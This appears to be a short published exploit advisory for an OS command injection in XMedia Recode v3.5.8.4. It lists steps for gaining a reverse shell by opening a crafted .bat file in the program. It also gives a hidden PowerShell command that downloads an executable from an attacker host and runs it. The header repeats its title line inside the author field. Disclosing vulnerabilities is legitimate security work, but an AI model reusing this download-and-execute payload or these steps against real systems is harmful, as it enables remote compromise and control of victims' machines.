XMedia Recode 3.5.8.4 Command Injection

Exploit Title: XMedia Recode v3.5.8.4 - OS Command Injection
Discovered by: Exploit Title: XMedia Recode v3.5.8.4 - OS Command Injection
Discovered by: Ahmet ?mit BAYRAM
Discovered Date: 16.09.2023
Vendor Homepage: https://www.xmedia-recode.de
Software Link: https://www.xmedia-recode.de/download/
XMediaRecode3584_setup.exe
Tested Version: v3.5.8.4 (latest)
Tested on: Windows 2019 Server 64bit
Steps to Reproduce

Create a .bat file that contains your reverse shell command.
Launch XMedia Recode.
Click on the Open button located at the bottom right.
Select the .bat file you created.
The reverse shell should now be active, connecting to your listener.

Example of Reverse Shell Command in .bat

To create a reverse shell in a .bat file, you can use the following command:

@echo off
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-WebRequest
-Uri http://attacker_ip:port -OutFile %TEMP%\shell.exe; Start-Process
%TEMP%\shell.exe"